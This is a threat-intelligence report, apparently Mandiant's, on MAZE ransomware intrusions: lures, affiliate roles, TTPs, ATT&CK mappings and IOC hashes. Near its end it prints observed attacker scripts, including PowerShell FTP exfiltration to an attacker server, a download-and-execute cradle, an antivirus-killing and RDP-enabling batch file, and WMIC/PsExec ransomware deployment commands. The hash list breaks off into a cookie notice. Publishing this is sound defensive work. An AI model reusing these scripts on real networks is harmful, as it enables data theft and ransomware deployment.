Navigating the MAZE: Tactics, Techniques and Procedures Associated With
MAZE Ransomware Incidents[html]
Targeted ransomware incidents have brought a threat of disruptive and
destructive attacks to organizations across industries and
geographies. FireEye href="/content/fireeye-www/en_US/mandiant/threat-intelligence.html">Mandiant
Threat Intelligence has previously documented this threat in our
investigations of href="/content/fireeye-www/en_US/blog/threat-research/2020/03/they-come-in-the-night-ransomware-deployment-trends.html">trends
across ransomware incidents, href="/content/fireeye-www/en_US/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html">FIN6
activity, href="/content/fireeye-www/en_US/blog/threat-research/2020/02/ransomware-against-machine-learning-to-disrupt-industrial-production.html">implications
for OT networks, and other aspects of post-compromise ransomware
deployment. Since November 2019, we’ve seen the MAZE ransomware being
used in attacks that combine targeted ransomware use, public exposure
of victim data, and an affiliate model.
Malicious actors have been actively deploying MAZE ransomware since
at least May 2019. The ransomware was initially distributed via spam
emails and exploit kits before later shifting to being deployed
post-compromise. Multiple actors are involved in MAZE ransomware
operations, based on our observations of alleged users in underground
forums and distinct tactics, techniques, and procedures across
Mandiant incident response engagements. Actors behind MAZE also
maintain a public-facing website where they post data stolen from
victims who refuse to pay an extortion fee.
The combination of these two damaging intrusion outcomes—dumping
sensitive data and disrupting enterprise networks—with a criminal
service makes MAZE a notable threat to many organizations. This blog
post is based on information derived from numerous Mandiant incident
response engagements and our own research into the MAZE ecosystem and operations.
Mandiant Threat Intelligence will be available to answer questions
on the MAZE
ransomware threat in a May 21 webinar.
Victimology
We are aware of more than 100 alleged MAZE victims reported by
various media outlets and on the MAZE website since November 2019.
These organizations have been primarily based in North America,
although victims spanned nearly every geographical region. Nearly
every industry sector including manufacturing, legal, financial
services, construction, healthcare, technology, retail, and government
has been impacted demonstrating that indiscriminate nature of these
operations (Figure 1).
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture1.png" alt="" />
Figure 1: Geographical and industry
distribution of alleged MAZE victims
Multiple Actors Involved in MAZE Ransomware Operations Identified
Mandiant identified multiple Russian-speaking actors who claimed to
use MAZE ransomware and were seeking partners to fulfill different
functional roles within their teams. Additional information on these
actors is available to href="https://www.fireeye.com/solutions/cyber-threat-intelligence/threat-intelligence-subscriptions.html">Mandiant
Intelligence subscribers. A panel used to manage victims
targeted for MAZE ransomware deployment has a section for affiliate
transactions. This activity is consistent with our assessment that
MAZE operates under an affiliate model and is not distributed by a
single group. Under this business model, ransomware developers will
partner with other actors (i.e. affiliates) who are responsible for
distributing the malware. In these scenarios, when a victim pays the
ransom demand, the ransomware developers receive a commission. Direct
affiliates of MAZE ransomware also partner with other actors who
perform specific tasks for a percentage of the ransom payment. This
includes partners who provide initial access to organizations and
pentesters who are responsible for reconnaissance, privilege
escalation and lateral movement—each of which who appear to work on a
percentage-basis. Notably, in some cases, actors may be hired on a
salary basis (vs commission) to perform specific tasks such as
determining the victim organization and its annual revenues. This
allows for specialization within the cyber criminal ecosystem,
ultimately increasing efficiency, while still allowing all parties
involved to profit.
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture2.png" alt="" />
Figure 2: MAZE ransomware panel
MAZE Initially Distributed via Exploit Kits and Spam Campaigns
MAZE ransomware was initially distributed directly via href="https://www.bleepingcomputer.com/news/security/maze-ransomware-says-computer-type-determines-ransom-amount/">exploit
kits and href="https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us">spam
campaigns through late 2019. For example, in November 2019,
Mandiant observed multiple email campaigns delivering Maze ransomware
primarily to individuals at organizations in Germany and the United
States, although a significant number of emails were also delivered to
entities in Canada, Italy, and South Korea. These emails used tax,
invoice, and package delivery themes with document attachments or
inline links to documents which download and execute Maze ransomware.
On November 6 and 7, a Maze campaign targeting Germany delivered
macro-laden documents using the subject lines “Wichtige informationen
uber Steuerruckerstattung” and “1&1 Internet AG - Ihre Rechnung
19340003422 vom 07.11.19” (Figure 3). Recipients included individuals
at organizations in a wide range of industries, with the Financial
Services, Healthcare, and Manufacturing sectors being targeted most
frequently. These emails were sent using a number of malicious domains
created with the registrant address gladkoff1991@yandex.ru.
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture3.png" alt="" />
Figure 3: German-language lure
On November 8, a campaign delivered Maze primarily to Financial
Services and Insurance organizations located in the United states.
These emails originated from a compromised or spoofed account and
contained an inline link to download a Maze executable payload.
On November 18 and 19, a Maze campaign targeted individuals
operating in a range of industries in the United States and Canada
with macro documents using phone bill and package delivery themes
(Figure 4 and Figure 5). These emails used the subjects “Missed
package delivery” and "Your AT&T wireless bill is ready to
view" and were sent using a number of malicious domains with the
registrant address abusereceive@hitler.rocks. Notably, this registrant
address was also used to create multiple Italian-language domains
towards the end of November 2019.
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture4.png" alt="" />
Figure 4: AT&T email lure
src="https://www.fireeye.com/content/dam/fireeye-www/blog/images/maze/Picture5.png" alt="" />
Figure 5: Canada Post email lure
Shift to Post-Compromise Distribution Maximizes Impact
Actors using MAZE have increasingly shifted to deploying the
ransomware post-compromise. This methodology provides an opportunity
to infect more hosts within a victim’s environment and exfiltrate
data, which is leveraged to apply additional pressure on organizations
to pay extortion fees. Notably, in at least some cases, the actors
behind these operations charge an additional fee, in addition to the
decryption key, for the non-release of stolen data.
Although the high-level intrusion scenarios preceding the
distribution of MAZE ransomware are broadly similar, there have been
notable variations across intrusions that suggest attribution to
distinct teams. Even within these teams, the cyber criminals appear to
be task-oriented meaning that one operator is not responsible for the
full lifecycle. The following sections highlight the TTPs seen in a
subset of incidents and serve to illustrate the divergence that may
occur due to the fact that numerous, disparate actors are involved in
different phases of these operations. Notably, the time between
initial compromise to encryption has also been widely varied, from
weeks to many months.
Initial Compromise
There are few clear patterns for intrusion vector across analyzed
MAZE ransomware incidents. This is consistent with our observations of
multiple actors who use MAZE soliciting partners with network access.
The following are a sample of observations from several Mandiant
incident response engagements:
- A user downloaded a malicious resume-themed Microsoft Word
document that contained macros which launched an IcedID payload,
which was ultimately used to execute an instance of BEACON.
- An actor logged into an internet-facing system via RDP. The
account used to grant initial access was a generic support account.
It is unclear how the actor obtained the account's password.
- An actor exploited a misconfiguration on an Internet-facing
system. This access enabled the actor to deploy tools to pivot into
the internal network. - An actor logged into a Citrix web
portal account with a weak password. This authenticated access
enabled the actor to launch a Meterpreter payload on an internal
system.
Establish Foothold & Maintain Presence
The use of legitimate credentials and broad distribution of BEACON
across victim environments appear to be consistent approaches used by
actors to establish their foothold in victim networks and to maintain
presence as they look to meet their ultimate objective of deploying
MAZE ransomware. Despite these commonplace behaviors, we have observed
an actor create their own domain account to enable latter-stage operations.
- Across multiple incidents, threat actors deploying MAZE
established a foothold in victim environments by installing BEACON
payloads on many servers and workstations. - Web shells were
deployed to an internet-facing system. The system level access
granted by these web shells was used to enable initial privilege
escalation and the execution of a backdoor. - Intrusion
operators regularly obtained and maintained access to multiple
domain and local system accounts with varying permissions that were
used throughout their operations. - An actor created a new
domain account and added it to the domain administrators group.
Escalate Privileges
Although Mandiant has observed multiple cases where MAZE intrusion
operators employed Mimikatz to collect credentials to enable privilege
escalation, these efforts have also been bolstered in multiple cases
via use of Bloodhound, and more manual searches for files containing credentials.
- Less than two weeks after initial access, the actor downloaded
and interacted with an archive named mimi.zip, which
contained files corresponding to the credential harvesting tool
Mimikatz. In the following days the same mimi.zip archive was
identified on two domain controllers in the impacted
environment. - The actor attempted to find files with the word
“password” within the environment. Additionally, several archive
files were also created with file names suggestive of credential
harvesting activity. - The actor attempted to identify hosts
running the KeePass password safe software. - Across multiple
incidents, the Bloodhound utility was used, presumably to assess
possible methods of obtaining credentials with domain administrator
privileges. - Actors primarily used Procdump and Mimikatz to
collect credentials used to enable later stages of their intrusion.
Notably, both Bloodhound and PingCastle were also used, presumably
to enable attackers' efforts to understand the impacted
organization's Active Directory configuration. In this case the
responsible actors also attempted to exfiltrate collected
credentials to multiple different cloud file storage services.
Reconnaissance
Mandiant has observed a broad range of approaches to network, host,
data, and Active Directory reconnaissance across observed MAZE
incidents. The varied tools and approaches across these incidents
maybe best highlights the divergent ways in which the responsible
actors interact with victim networks.
- In some intrusions, reconnaissance activity occurred within
three days of gaining initial access to the victim network. The
responsible actor executed a large number of reconnaissance scripts
via Cobalt Strike to collect network, host, filesystem, and domain
related information. - Multiple built-in Windows commands
were used to enable network, account, and host reconnaissance of the
impacted environment, though the actors also supplied and used
Advanced IP Scanner and Adfind to support this stage of their
operations. - Preliminary network reconnaissance has been
conducted using a batch script named '2.bat' which contained a
series of nslookup commands. The output of this script was copied
into a file named '2.txt'. - The actor exfiltrated
reconnaissance command output data and documents related to the IT
environment to an attacker-controlled FTP server via an encoded
PowerShell script. - Over a period of several days, an actor
conducted reconnaissance activity using Bloodhound,
PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance
script designed to enumerate directories across internal hosts.
- An actor employed the adfind tool and a batch script to collect
information about their network, hosts, domain, and users. The
output from this batch script (2adfind.bat) was saved into an
archive named 'ad.7z' using an instance of the 7zip archiving
utility named 7.exe. - An actor used the tool
smbtools.exe to assess whether accounts could login to
systems across the environment. - An actor collected
directory listings from file servers across an impacted environment.
Evidence of data exfiltration was observed approximately one month
later, suggesting that the creation of these directory listings may
have been precursor activity, providing the actors with data they
may have used to identify sensitive data for future
exfiltration.
Lateral Movement
Across the majority of MAZE ransomware incidents lateral movement
was accomplished via Cobalt Strike BEACON and using previously
harvested credentials. Despite this uniformity, some alternative tools
and approaches were also observed.
- Attackers relied heavily on Cobalt Strike BEACON to move
laterally across the impacted environment, though they also tunneled
RDP using the ngrok utility, and employed tscon to hijack legitimate
rdp sessions to enable both lateral movement and privilege
escalation. - The actor moved laterally throughout some
networks leveraging compromised service and user accounts obtained
from the system on which they gained their initial foothold. This
allowed them to obtain immediate access to additional systems.
Stolen credentials were then used to move laterally across the
network via RDP and to install BEACON payloads providing the actors
with access to nearly one hundred hosts. - An actor moved
laterally using Metasploit and later deployed a Cobalt Strike
payload to a system using a local administrator account. - At
least one actor attempted to perform lateral movement using
EternalBlue in early and late 2019; however, there is no evidence
that these attempts were successful.
Complete Mission
There was evidence suggesting data exfiltration across most analyzed
MAZE ransomware incidents. While malicious actors could monetize
stolen data in various way (e.g. sale in an underground forum, fraud),
actors employing MAZE are known to threaten the release of stolen data
if victim organizations do not pay an extortion fee.
- An actor has been observed exfiltrating data to FTP servers
using a base64-encoded PowerShell script designed to upload any
files with .7z file extensions to a predefined FTP server using a
hard-coded username and password. This script appears to be a slight
variant of a script first posted to Microsoft TechNet in
2013. - A different base64-encoded PowerShell command was also
used to enable this functionality in a separate incident.
- Actors deploying MAZE ransomware have also used the utility
WinSCP to exfiltrate data to an attacker-controlled FTP server.
- An actor has been observed employing a file replication utility
and copying the stolen data to a cloud file hosting/sharing
service. - Prior to deploying MAZE ransomware threat actors
employed the 7zip utility to archive data from across various
corporate file shares. These archives were then exfiltrated to an
attacker-controlled server via FTP using the WinSCP utility.
In addition to data theft, actors deploy MAZE ransomware to encrypt
files identified on the victim network. Notably, the aforementioned
MAZE panel has an option to specify the date on which ransom demands
will double, likely to create a sense of urgency to their demands.
- Five days after data was exfiltrated from a victim environment
the actor copied a MAZE ransomware binary to 15 hosts within the
victim environment and successfully executed it on a portion of
these systems. - Attackers employed batch scripts and a
series to txt files containing host names to distribute and execute
MAZE ransomware on many servers and workstations across the victim
environment. - An actor deployed MAZE ransomware to tens of
hosts, explicitly logging into each system using a domain
administrator account created earlier in the intrusion.
- Immediately following the exfiltration of sensitive data, the
actors began deployment of MAZE ransomware to hosts across the
network. In some cases, thousands of hosts were ultimately
encrypted. The encryption process proceeded as follows: - A
batch script named start.bat was used to execute a series
of secondary batch scripts with names such as xaa3x.bat
or xab3x.bat. - Each of these batch scripts
contained a series of commands that employed the copy command,
WMIC, and PsExec to copy and execute a kill script (windows.bat)
and an instance of MAZE ransomware (sss.exe) on hosts across the
impacted environment - Notably, forensic analysis of the
impacted environment revealed MAZE deployment scripts targeting
ten times as many hosts as were ultimately encrypted.
Implications
Based on our belief that the MAZE ransomware is distributed by
multiple actors, we anticipate that the TTPs used throughout incidents
associated with this ransomware will continue to vary somewhat,
particularly in terms of the initial intrusion vector. For more
comprehensive recommendations for addressing ransomware, please refer
to our href="/content/fireeye-www/en_US/blog/threat-research/2019/09/ransomware-protection-and-containment-strategies.html">Ransomware
Protection and Containment Strategies blog post and the linked
href="https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/wp-ransomware-protection-and-containment-strategies.pdf">white paper.
Mandiant Security Validation Actions
Organizations can validate their security controls against more than
20 MAZE-specific actions with href="https://www.fireeye.com/solutions/verodin-security-instrumentation.html">Mandiant
Security Validation. Please see our Headline Release Content
Updates – April 21, 2020 on the href="https://customer.verodin.com/">Mandiant Security Validation
Customer Portal for more information.
- A100-877 - Active Directory - BloodHound, CollectionMethod
All - A150-006 - Command and Control - BEACON, Check-in
- A101-030 - Command and Control - MAZE Ransomware, C2 Beacon,
Variant #1 - A101-031 - Command and Control - MAZE
Ransomware, C2 Beacon, Variant #2 - A101-032 - Command and
Control - MAZE Ransomware, C2 Beacon, Variant #3 - A100-878 -
Command and Control - MAZE Ransomware, C2 Check-in - A100-887
- Command and Control - MAZE, DNS Query #1 - A100-888 -
Command and Control - MAZE, DNS Query #2 - A100-889 - Command
and Control - MAZE, DNS Query #3 - A100-890 - Command and
Control - MAZE, DNS Query #4 - A100-891 - Command and Control
- MAZE, DNS Query #5 - A100-509 - Exploit Kit Activity -
Fallout Exploit Kit CVE-2018-8174, Github PoC - A100-339 -
Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Landing
Page - A101-033 - Exploit Kit Activity - Spelevo Exploit Kit,
MAZE C2 - A100-208 - FTP-based Exfil/Upload of PII Data
(Various Compression) - A104-488 - Host CLI - Collection,
Exfiltration: Active Directory Reconnaissance with SharpHound,
CollectionMethod All - A104-046 - Host CLI - Collection,
Exfiltration: Data from Local Drive using PowerShell
- A104-090 - Host CLI - Collection, Impact: Creation of a Volume
Shadow Copy - A104-489 - Host CLI - Collection: Privilege
Escalation Check with PowerUp, Invoke-AllChecks - A104-037 -
Host CLI - Credential Access, Discovery: File & Directory
Discovery - A104-052 - Host CLI - Credential Access:
Mimikatz - A104-167 - Host CLI - Credential Access: Mimikatz
(2.1.1) - A104-490 - Host CLI - Defense Evasion, Discovery:
Terminate Processes, Malware Analysis Tools - A104-491 - Host
CLI - Defense Evasion, Persistence: MAZE, Create Target.lnk
- A104-500 - Host CLI - Discovery, Defense Evasion: Debugger
Detection - A104-492 - Host CLI - Discovery, Execution:
Antivirus Query with WMI, PowerShell - A104-374 - Host CLI -
Discovery: Enumerate Active Directory Forests - A104-493 -
Host CLI - Discovery: Enumerate Network Shares - A104-481 -
Host CLI - Discovery: Language Query Using PowerShell, Current
User - A104-482 - Host CLI - Discovery: Language Query Using
reg query - A104-494 - Host CLI - Discovery: MAZE, Dropping
Ransomware Note Burn Directory - A104-495 - Host CLI -
Discovery: MAZE, Traversing Directories and Dropping Ransomware
Note, DECRYPT-FILES.html Variant - A104-496 - Host CLI -
Discovery: MAZE, Traversing Directories and Dropping Ransomware
Note, DECRYPT-FILES.txt Variant - A104-027 - Host CLI -
Discovery: Process Discovery - A104-028 - Host CLI -
Discovery: Process Discovery with PowerShell - A104-029 -
Host CLI - Discovery: Remote System Discovery - A104-153 -
Host CLI - Discovery: Security Software Identification with
Tasklist - A104-083 - Host CLI - Discovery: System Info
- A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload
- A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware
Message - A104-227 - Host CLI - Initial Access, Lateral
Movement: Replication Through Removable Media - A100-879 -
Malicious File Transfer - Adfind.exe, Download - A150-046 -
Malicious File Transfer - BEACON, Download - A100-880 -
Malicious File Transfer - Bloodhound Ingestor Download, C Sharp
Executable Variant - A100-881 - Malicious File Transfer -
Bloodhound Ingestor Download, C Sharp PowerShell Variant
- A100-882 - Malicious File Transfer - Bloodhound Ingestor
Download, PowerShell Variant - A101-037 - Malicious File
Transfer - MAZE Download, Variant #1 - A101-038 - Malicious
File Transfer - MAZE Download, Variant #2 - A101-039 -
Malicious File Transfer - MAZE Download, Variant #3
- A101-040 - Malicious File Transfer - MAZE Download, Variant
#4 - A101-041 - Malicious File Transfer - MAZE Download,
Variant #5 - A101-042 - Malicious File Transfer - MAZE
Download, Variant #6 - A101-043 - Malicious File Transfer -
MAZE Download, Variant #7 - A101-044 - Malicious File
Transfer - MAZE Download, Variant #8 - A101-045 - Malicious
File Transfer - MAZE Download, Variant #9 - A101-034 -
Malicious File Transfer - MAZE Dropper Download, Variant #1
- A101-035 - Malicious File Transfer - MAZE Dropper Download,
Variant #2 - A100-885 - Malicious File Transfer - MAZE
Dropper Download, Variant #4 - A101-036 - Malicious File
Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script
Download - A100-284 - Malicious File Transfer - Mimikatz W/
Padding (1MB), Download - A100-886 - Malicious File Transfer
- Rclone.exe, Download - A100-484 - Scanning Activity - Nmap
smb-enum-shares, SMB Share Enumeration
Detecting the Techniques
Platform | Signature Name |
MVX (covers multiple FireEye technologies) |
Bale Detection FE_Ransomware_Win_MAZE_1 |
Endpoint Security | | valign="top">WMIC SHADOWCOPY DELETE (METHODOLOGY)
MAZE RANSOMWARE (FAMILY)
Network Security | | valign="top">Ransomware.Win.MAZE
Ransomware.Maze
Ransomware.Maze
MITRE ATT&CK Mappings
Mandiant currently tracks three separate clusters of activity
involved in the post-compromise distribution of MAZE ransomware.
Future data collection and analysis efforts may reveal additional
groups involved in intrusion activity supporting MAZE operations, or
may instead allow us to collapse some of these groups into larger
clusters. It should also be noted that ‘initial access’ phase
techniques have been included in these mappings, though in some cases
this access may have been provided by a separate threat actor(s).
MAZE Group 1 MITRE ATT&CK Mapping
ATT&CK Tactic Category | Techniques |
Initial Access | | valign="top">T1133: External Remote Services
T1078:
Valid Accounts
Execution | | valign="top">T1059: Command-Line Interface
T1086:
PowerShell
T1064: Scripting
T1035: Service
Execution
Persistence | | valign="top">T1078: Valid Accounts
T1050: New
Service
Privilege Escalation | | valign="top">T1078: Valid Accounts
Defense Evasion | | valign="top">T1078: Valid Accounts
T1036:
Masquerading
T1027: Obfuscated Files or Information
T1064: Scripting
Credential Access | | valign="top">T1110: Brute Force
T1003: Credential
Dumping
Discovery | | valign="top">T1087: Account Discovery
T1482: Domain
Trust Discovery
T1083: File and Directory Discovery
T1135: Network Share Discovery
T1069: Permission
Groups Discovery
T1018: Remote System Discovery
T1016: System Network Configuration Discovery
Lateral Movement | | valign="top">T1076: Remote Desktop Protocol
T1105:
Remote File Copy
Collection | | valign="top">T1005: Data from Local System
Command and Control | | valign="top">T1043: Commonly Used Port
T1105: Remote
File Copy
T1071: Standard Application Layer
Protocol
Exfiltration | | valign="top">T1002: Data Compressed
T1048:
Exfiltration Over Alternative Protocol
Impact | T1486: Data Encrypted for Impact T1489: Service Stop |
MAZE Group 2 MITRE ATT&CK Mapping
ATT&CK Tactic Category | Techniques |
Initial Access | | valign="top">T1193: Spearphishing Attachment
Execution | | valign="top">T1059: Command-Line Interface
T1086:
PowerShell
T1085: Rundll32
T1064: Scripting
T1204: User Execution
T1028: Windows Remote
Management
Persistence | | valign="top">T1078: Valid Accounts
T1050: New
Service
T1136: Create Account
Privilege Escalation | | valign="top">T1078: Valid Accounts
T1050: New
Service
Defense Evasion | | valign="top">T1078: Valid Accounts
T1140:
Deobfuscate/Decode Files or Information
T1107: File
Deletion
T1036: Masquerading
Credential Access | | valign="top">T1003: Credential Dumping
T1081:
Credentials in Files
T1171: LLMNR/NBT-NS Poisoning
Discovery | | valign="top">T1087: Account Discovery
T1482: Domain
Trust Discovery
T1083: File and Directory Discovery
T1135: Network Share Discovery
T1069: Permission
Groups Discovery
T1018: Remote System Discovery
T1033: System Owner/User Discovery
Lateral Movement | | valign="top">T1076: Remote Desktop Protocol
T1028:
Windows Remote Management
Collection | | valign="top">T1074: Data Staged
T1005: Data from
Local System
T1039: Data from Network Shared Drive
Command and Control | | valign="top">T1043: Commonly Used Port
T1219: Remote
Access Tools
T1105: Remote File Copy
T1071:
Standard Application Layer Protocol
T1032: Standard
Cryptographic Protocol
Exfiltration | | valign="top">T1020: Automated Exfiltration
T1002:
Data Compressed
T1048: Exfiltration Over Alternative
Protocol
Impact | T1486: Data Encrypted for Impact |
MAZE Group 3 MITRE ATT&CK Mapping (FIN6)
ATT&CK Tactic Category | Techniques |
Initial Access | | valign="top">T1133: External Remote Services
T1078:
Valid Accounts
Execution | | valign="top">T1059: Command-Line Interface
T1086:
PowerShell
T1064: Scripting
T1035: Service
Execution
Persistence | | valign="top">T1078: Valid Accounts
T1031: Modify
Existing Service
Privilege Escalation | | valign="top">T1055: Process Injection
T1078: Valid
Accounts
Defense Evasion | | valign="top">T1055: Process Injection
T1078: Valid
Accounts
T1116: Code Signing
T1089: Disabling
Security Tools
T1202: Indirect Command Execution
T1112: Modify Registry
T1027: Obfuscated Files or
Information
T1108: Redundant Access
T1064:
Scripting
Credential Access | | valign="top">T1003: Credential Dumping
Discovery | | valign="top">T1087: Account Discovery
T1482: Domain
Trust Discovery
T1083: File and Directory Discovery
T1069: Permission Groups Discovery
T1018: Remote
System Discovery
Lateral Movement | | valign="top">T1097: Pass the Ticket
T1076: Remote
Desktop Protocol
T1105: Remote File Copy
T1077:
Windows Admin Shares
Collection | | valign="top">T1074: Data Staged
T1039: Data from
Network Shared Drive
Command and Control | | valign="top">T1043: Commonly Used Port
T1219: Remote
Access Tools
T1105: Remote File Copy
T1071:
Standard Application Layer Protocol
T1032: Standard
Cryptographic Protocol
Exfiltration | | valign="top">T1002: Data Compressed
Impact | T1486: Data Encrypted for Impact T1490: Inhibit System Recovery T1489: Service Stop |
Example Commands Observed in MAZE Ransomware Incidents
function Enum-UsersFolders($PathEnum) { $foldersArr = 'Desktop','Downloads','Documents','AppData/Roaming','AppData/Local'
Get-ChildItem -Path $PathEnum'/c$' -ErrorAction SilentlyContinue Get-ChildItem -Path $PathEnum'/c$/Program Files' -ErrorAction SilentlyContinue Get-ChildItem -Path $PathEnum'/c$/Program Files (x86)' -ErrorAction SilentlyContinue foreach($Directory in Get-ChildItem -Path $PathEnum'/c$/Users' -ErrorAction SilentlyContinue) { foreach($SeachDir in $foldersArr) { Get-ChildItem -Path $PathEnum'/c$/Users/'$Directory'/'$SeachDir -ErrorAction SilentlyContinue } } } |
PowerShell reconnaissance script used to
enumerate directories
| valign="top">$Dir="C:/Windows/Temp/"
#ftp
server
$ftp = "ftp://<IP
Address>/incoming/"
$user =
"<username>"
$pass =
"<password>"
$webclient = New-Object
System.Net.WebClient
$webclient.Credentials = New-Object
System.Net.NetworkCredential($user,$pass)
#list every
sql server trace file
foreach($item in (dir $Dir
"*.7z")){
"Uploading
$item..."
$uri = New-Object
System.Uri($ftp+$item.Name)
$webclient.UploadFile($uri, $item.FullName)
}
Decoded FTP upload PowerShell script
powershell -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:43984/'); Add-FtpFile -ftpFilePath "ftp://<IP Address>/cobalt_uploads/<file name>" -localFile "<local file path>\ <file name> " -userName "<username>" -password "<password>" |
Decoded FTP upload PowerShell script
[…] echo 7 echo 7 taskkill /im csrss_tc.exe /f taskkill /im kwsprod.exe /f taskkill /im avkwctl.exe /f
taskkill /im rnav.exe /f taskkill /im crssvc.exe /f sc config CSAuth start= disabled taskkill /im vsserv.exe /f taskkill /im ppmcativedetection.exe /f […] taskkill /im sahookmain.exe /f
taskkill /im mcinfo.exe /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Ye c:\windows\temp\sss.exe |
Excerpt from windows.bat kill script
start copy sss.exe \\<internal IP>\c$\windows\temp\ start copy sss.exe \\<internal IP>\c$\windows\temp\ start copy windows.bat \\<internal IP>\c$\windows\temp\ start copy windows.bat \\<internal IP>\c$\windows\temp\
start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "c:\windows\temp\sss.exe" start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "c:\windows\temp\sss.exe" start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c c:\windows\temp\windows.bat" start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c c:\windows\temp\windows.bat" start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\sss.exe c:\windows\temp\" start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\sss.exe c:\windows\temp\"
start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\windows.bat c:\windows\temp\" start wmic /node:"<internal IP>" /user:"<DOMAIN\adminaccount>" /password:"<password>" process call create "cmd.exe /c copy \\<internal IP>\c$\windows\temp\windows.bat c:\windows\temp\" start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\<internal IP> -u <DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat start psexec.exe \\<internal IP> -u < DOMAIN\adminaccount> -p "<password>" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat |
Example commands from MAZE distribution scripts
@echo off del done.txt
del offline.txt rem Loop thru list of computer names in file specified on command-line for /f %%i in (%1) do call :check_machine %%i goto end
:check_machine rem Check to see if machine is up.
ping -n 1 %1|Find "TTL=" >NUL 2>NUL if errorlevel 1 goto down echo %1 START cmd /c "copy [Location of MAZE binary] \\%1\c$\windows\temp && exit" timeout 1 > NUL echo %1 >> done.txt rem wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" >> done.txt START "" cmd /c "wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" && exit" goto end :down rem Report machine down echo %1 >> offline.txt
:end |
Example MAZE distribution script
Indicators of Compromise
Maze Payloads | | width="424" valign="top">064058cf092063a5b69ed8fd2a1a04fe
0f841c6332c89eaa7cac14c9d5b1d35b
108a298b4ed5b4e77541061f32e55751
11308e450b1f17954f531122a56fae3b
15d7dd126391b0e7963c562a6cf3992c
21a563f958b73d453ad91e251b11855c
27c5ecbb94b84c315d56673a851b6cf9
2f78ff32cbb3c478865a88276248d419
335aba8d135cc2e66549080ec9e8c8b7
3bfcba2dd05e1c75f86c008f4d245f62
46b98ee908d08f15137e509e5e69db1b
5774f35d180c0702741a46d98190ff37
5df79164b6d0661277f11691121b1d53
658e9deec68cf5d33ee0779f54806cc2
65cf08ffaf12e47de8cd37098aac5b33
79d137d91be9819930eeb3876e4fbe79
8045b3d2d4a6084f14618b028710ce85
8205a1106ae91d0b0705992d61e84ab2
83b8d994b989f6cbeea3e1a5d68ca5d8
868d604146e7e5cb5995934b085846e3
87239ce48fc8196a5ab66d8562f48f26
89e1ddb8cc86c710ee068d6c6bf300f4
910aa49813ee4cc7e4fa0074db5e454a
9eb13d56c363df67490bcc2149229e4c
a0c5b4adbcd9eb6de9d32537b16c423b
a3a3495ae2fc83479baeaf1878e1ea84
b02be7a336dcc6635172e0d6ec24c554
b40a9eda37493425782bda4a3d9dad58
b4d6cb4e52bb525ebe43349076a240df
b6786f141148925010122819047d1882
b93616a1ea4f4a131cc0507e6c789f94
bd9838d84fd77205011e8b0c2bd711e0
be537a66d01c67076c8491b05866c894
bf2e43ff8542e73c1b27291e0df06afd
c3ce5e8075f506e396ee601f2757a2bd
d2dda72ff2fbbb89bd871c5fc21ee96a
d3eaab616883fcf51dcbdb4769dd86df
d552be44a11d831e874e05cadafe04b6
deebbea18401e8b5e83c410c6d3a8b4e
dfa4631ec2b8459b1041168b1b1d5105
e57ba11045a4b

IP archivée
Tags:
Le site internet Security-x.fr utilise des cookies. Un cookie est un fichier texte stocké par votre navigateur, qui lui permet de conserver des informations entre les pages internet et les sessions de navigation.
Ces fichiers permettent d'améliorer votre navigation sur notre site.
Learn more